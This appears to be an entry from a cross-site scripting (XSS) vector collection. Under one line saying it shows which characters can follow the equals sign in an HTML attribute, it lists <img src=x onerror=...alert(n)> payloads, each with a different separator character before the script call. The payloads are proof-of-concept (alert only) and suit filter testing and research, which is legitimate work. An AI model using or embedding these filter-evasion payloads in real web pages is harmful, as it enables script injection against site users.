This vector shows what characters can be used after equals sign for attributes
<img src=x onerror=$[chr]log($[i])><img src=x onerror=0x09alert(9)><img src=x onerror=
alert(10)><img src=x onerror=0x0Balert(11)><img src=x onerror=0x0Calert(12)><img src=x onerror=0x0Dalert(13)><img src=x onerror= alert(32)><img src=x onerror=!alert(33)><img src=x onerror=+alert(43)><img src=x onerror=-alert(45)><img src=x onerror=;alert(59)><img src=x onerror=~alert(126)><img src=x onerror= alert(160)><img src=x onerror= alert(5760)><img src=x onerror= alert(8192)><img src=x onerror= alert(8193)><img src=x onerror= alert(8194)><img src=x onerror= alert(8195)><img src=x onerror= alert(8196)><img src=x onerror= alert(8197)><img src=x onerror= alert(8198)>